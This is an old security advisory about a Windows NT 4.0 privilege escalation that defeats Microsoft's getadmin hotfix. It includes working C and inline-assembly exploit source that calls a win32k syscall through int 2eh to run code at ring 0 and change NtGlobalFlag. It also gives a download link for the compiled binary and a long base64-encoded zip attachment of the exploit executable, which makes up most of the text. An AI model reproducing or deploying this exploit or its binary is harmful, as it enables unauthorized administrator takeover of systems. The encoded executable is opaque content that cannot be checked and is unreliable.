COMMAND
getadmin
SYSTEMS AFFECTED
Win NT
PROBLEM
The hotfix released by MS for getadmin.exe DOES NOT WORK
completely. Using a slightly different tactic, the exploit can
still be made to work in most conditions (e.g. a
not-too-heavily-loaded-down NT server). Credit goes to Costin
RAIU.
By running a program that performs some slight manipulation
<before> running getadmin.exe, the exploit can still be run
successfully. This was tested on NT 4.0 w/SP3 and all current
hotixes loaded as of July 10, 1997, and found to work as stated.
The problem is now in eax=4346 which is handled somewhere in
win32k.sys. There are more (Costin found 4) vulnerable functions,
but not so interesting like this one. By calling the function in a
special way, you can get your own code get executed at ring 0
privilege. My program will simply change the byte of NtGlobalFlag
to the DEBUG value, so you can run GetAdmin (which after the fix
is not working anymore). Since compiling the source is very
difficult, the compiled binary zbd source are avaible at (below
too):
http://www.gecad.ro/~craiu/cr4.exe
Here's the source program:
/*
Run user code at ring 0
Author: Costin RAIU <craiu@gecad.ro>
*/
void* a[2];
void main(void) {
int i;
for (i=0;i<2;i++) a[i]=(void*)0;
*(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],c1h
*(char*)(0x4080a5)=0x0d;
*(char*)(0x4080a6)=0xb6;
*(char*)(0x4080a7)=0xc2;
*(char*)(0x4080a8)=0x14;
*(char*)(0x4080a9)=0x80;
*(char*)(0x4080aa)=0xc1;
*(char*)(0x4080ab)=0xcf;
_asm
{
mov eax,4346
mov edx,offset a
int 2eh
}
}
Due to the nature of this bug, is very important the address of
the mov eax,4346 instruction must be 004080a4. And as a final
note, you should compile this with Borland C 5.0 Do not use
Visual C or other C compiler. If you want, you can adapt the
program to work in Visual C, but don't ask me to. It's too
complicated. If you don't have a Borland C license, you can
download the compiled binary from my homepage.
Here's a binary:
Message-ID: <868954189@random-pc>
Mime-Version: 1.0
Subject: Noun
Content-Type: multipart/mixed; boundary="-"
This is a MIME-Encoded message, created by ESS-Code. It can be decoded
with MUNPACK, ESS-Code, or any other MIME-Capable software package. MUNPACK
is available VIA anonymous FTP on ftp.andrew.cmu.edu in the pub/mpack/
directory.
---
Content-Type: application/octet-stream; name="cr4.zip"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="cr4.zip"
Content-MD5: 7+LagdSDeC6hzlCYMni9HQ==
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
